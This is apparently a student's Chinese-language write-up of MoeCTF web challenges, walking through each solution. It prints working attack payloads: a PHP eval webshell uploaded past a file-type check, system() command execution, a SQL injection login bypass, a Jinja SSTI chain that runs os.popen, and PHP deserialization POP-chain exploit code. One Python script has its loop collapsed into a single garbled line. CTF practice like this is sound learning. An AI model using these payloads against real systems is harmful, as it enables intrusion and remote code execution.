记录下自己做题的经历,欢迎老登们参观
1.入门指北:
没啥好说的,解压以后phpstudy开一个网页放在文件夹里直接就能出flag。
2.弗拉格之地的入口:
题目也是非常直接(毕竟是引导我这种小白),我直接召唤dirsearch扫描,也是顺利得到结果 ,打开网页
进入/webtutorEntry.php,成功获得本题flag
3.垫刀之路01: MoeCTF?启动!
看到命令框直接ls加cat结果发现不在这,让我们查找环境变量。
那就查找环境变量,直接出了flag(虽然很简单,但是其实教会了我这个小白怎么查找环境变量)。
4.ez_http:
使用HackBar跟着指导做即可:
(1)post随便发一个值然后根据提示post输入imoau=sb;
(2)url后根据提示get输入"?xt=大帅b";
(3)Referer设置为https://www.xidian.edu.cn/;
(4)设置cookie为"user=admin";
(5)User Agent设置为MoeDedicatedBrowser;
(6)提示"Local access only",故直接添加header为X-Forwarded-For : 127.0.0.1
喜提flag:
5.ProveYourLove:
先随便提交一份发现无法再次提交,F12发现只能提交一次。虽然说看不懂代码,但能看出第二次提交被ban了,又发现提交表白数据和更新表白次数先后响应,考虑能不能卡住时间多发请求,想到了burp抓包,当然得重新开一次容器。
如图配置一下,退出后显示flag:
6.弗拉格之地的挑战:
前面两个分别查看源代码和响应头,直接跳转到第三个,第三个用HackBar在url输入"?a=1",post输入"b=2",后说用admin身份验证,直接将cookie的值改成admin就行了,刷新得到第三串flag。
进入第四关前要求"从http://localhost:8080/flag3cad.php?a=1 点击链接过来",那就把Referer改为http://localhost:8080/flag3cad.php?a=1。
正式进入第四关,
确实有点抽象,但是可以F12一下发现可以把这里的8(别的也行)的id值改成9。
然后点击原本8的按钮就可以了,提示使用console.log为我们生成flag,就直接看F12控制台出的日志信息就行了,顺便前往第五关。
第五关让我们输入"I want flag"直接输入后弹出"你就这么直接?"发现是以弹窗形式的提示,赶紧观察查看器里面的代码发现有一个event
直接给它关了,再次输入"I want flag"得到flag5。
进入第六关是一个非常简单的代码审计,
提示要以get和post形式输入两个$moe并且get输入的$moe不能含有"flag"但是得符合不受大小写的"flag",故输入?moe=Flag同时别忘了post输入moe=1。进入第七关。
第七关让我们借用"eval($_POST['what']);"的力量,那直接post输入"what=phpinfo();"发现没有flag,那就改成"what=system("ls ../../../");"发现有一个flag7文件,直接查看"what=system("cat ../../../flag7");"喜提最后一段flag,最后将前面获得的flag碎片拼起来解个码就可以得到flag了。
7.ImageCloud前置
观察源码使用file伪协议读取文件,输入'file://'发现无事发生,于是加一个斜杠'file:///'
接着根据提示进入etc/passwd得到flag
8.垫刀之路02: 普通的文件上传
没有对文件形式进行限制,直接上传.php文件写入一句话木马即可
<?php @eval($_POST['pass']);?>
接着进入上传页面并如图发出post请求进入phpinfo();查找(Ctrl+F)得到flag
9.垫刀之路03: 这是一个图床:
依旧上传木马文件发现限制了文件类型,那就把木马文件的后缀名改为".jpg"上传时使用burp改包改为".php"文件再发出,下面做法就与上面相同,flag也是在phpinfo();里面。
10.登陆网站:
告诉我们用户名为admin123,密码难以破解,那就考虑sql注入
点击登录即得flag:
11.垫刀之路07: 泄漏的密码:
网页告诉我们pin码,先使用dirsearch扫描出登陆页面,
进入后输入对应的pin,来到console发现是python的控制台。
找了挺久没找到最后发现就在当前目录……
12.垫刀之路04: 一个文件浏览器:
告诉我们这个页面没用,那我们直接换个页面,改url后面的path就行
终于找到了flag但是打开后显示不在此位置但是提示位置不远,最后在tmp里面找到flag
13.静态网页:
看看源码,发现给了提示
直接点没有任何结果,那就抓个包
让我们进入/final1l1l_challenge.php。进入后是一段php代码
意思是让我们get输入a,post输入b,且两个变量都不是数字,然后a弱相等等于0,md5($a)和b的第$a个元素弱相等,那其实只要a第一位数字是字母,md5($a)为经典0e开头数字,b随便取个0k就行,构造?a=QNKCDZO,post输入b=0k就可以了。得到flag。
14.电院_Backend:
先扫描发现/admin/这个目录,直接进入
看看源码发现or被ban掉了,那就换成||,输入sql万能语句
admin@qq.com' || 1=1 #
随便输个密码,填好验证码后显示我们登陆成功,取得flag(就是消失的速度有点快)。
15.勇闯铜人阵:
没啥好说的,直接写脚本,把url换成自己题目的(真头一回写,写了好久)
import requests
session=requests.session()
url="http://127.0.0.1:53592/"
data={'player':'wuxuanyi','direct':'弟子明白'
}
a=["北方","东北方","东方","东南方","南方","西南方","西方","西北方"]
b=["北方一个","东北方一个","东方一个","东南方一个","南方一个","西南方一个","西方一个","西北方一个"]
t=['1','2','3','4','5','6','7','8']
n=1
response=session.post(url=url,data=data)
while n<=6:x=0list1=[]m=response.text[-30:-21]for i in m:if i in t:x+=1list1.append(int(i))if x==1:data1 ={'player':'wuxuanyi','direct': f'{a[list1[0]-1]}'}response= session.post(url=url, data=data1)print(response.text)if x==2:data2 = {'player':'wuxuanyi','direct': f'{b[list1[0]-1]},{b[list1[1]-1]}'}response= session.post(url=url, data=data2)print(response.text)n+=1
运行得到flag:
16.who's blog?
传一个?id=1发现页面发生变化,感觉像是ssti注入
输入?id={{7*7}}发现回显49,那就可以确定了。先拿基类
?id={{().__class__.__base__}}
再拿子类
?id={{().__class__.__base__.__subclasses__()}}
找到warnings.catch项,代码定位位置
?id={{().__class__.__base__.__subclasses__()[239]}}
下面确定存在eval内置函数
?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__}}
调用一下发现没有flag
?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}
直接考虑找环境变量
?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("export").read()')}}
成功找到flag
17.垫刀之路06: pop base mini moe:
考验我们审计代码的能力(这个我是真没有)。意思是有两个类A和B和一个析构函数,一个魔术方法__invoke()。我们可以利用这个invoke调用b作为一个函数,前面的$s恰好能触发这个魔术方法,只要把B放入A中,写写代码(藏了点私货):
<?phpclass A {// 注意 private 属性的序列化哦private $evil = "ls /";// 如何赋值呢private $a;function C1432($t){$this->a=$t;}function __destruct() {$s = $this->a;$s($this->evil);}}class B {private $b = system;function __invoke($c) {$s = $this->b;$s($c);}
}
$m = new A();
$n = new B();
$m->C1432($n);echo urlencode(serialize($m));
?>
查找到目录有flag,直接换成cat指令读出即可。
16.pop moe:
先观察代码,发现有四个类,注意几个魔术方法。发现反序列化的时候会先执行析构函数(__destruct()),然后查看pay10ad的值,所以可以先把初始值赋1,注意最后面的eval,这显然是我们想最终达到的地方,我们希望能执行phpinfo();之类的命令,那我们正向看看,看class000,由于这里面的$a会作为函数执行,我们先办法把$what赋值成class001类,进而赋值给$a,这样我们就可以调用class001里面的魔术方法__invoke,下面考虑触发魔术方法__set发现有个一变量payload是不存在的,那我们只要把这里的$a赋值为class002,下面的逻辑就是打开dangerous函数,并给参数为class003,这样可以调用魔术方法__tostring,这样将参数$mystr最终传给evvval函数执行,构造payload如下:
<?phpclass class000 {private $payl0ad=1;protected $what;function c1432($t){$this->what=$t;}public function __construct(){$this->what;}// public function check()// {// if($this->payl0ad === 0)// {// die('FAILED TO ATTACK');// }// $a = $this->what;// $a();// }
}class class001 {public $payl0ad=dangerous;public $a;public function __invoke(){$this->a->payload = $this->payl0ad;}
}class class002 {private $sec;function C123($t){$this->sec=$t;}public function __set($a, $b){$this->$b($this->sec);}public function dangerous($whaattt){$whaattt->evvval($this->sec);}}class class003 {public $mystr='phpinfo();';public function evvval($str){eval($str);}public function __tostring(){return $this->mystr;}
}$m=new class000();
$n=new class001();
$m->c1432($n);
$s=new class002();$n->a=$s;$t=new class003();
$s->C123($t);
echo urlencode(serialize($m));
?>
可以在phpinfo();里面搜索得到flag。
~~目前只会这么多了QwQ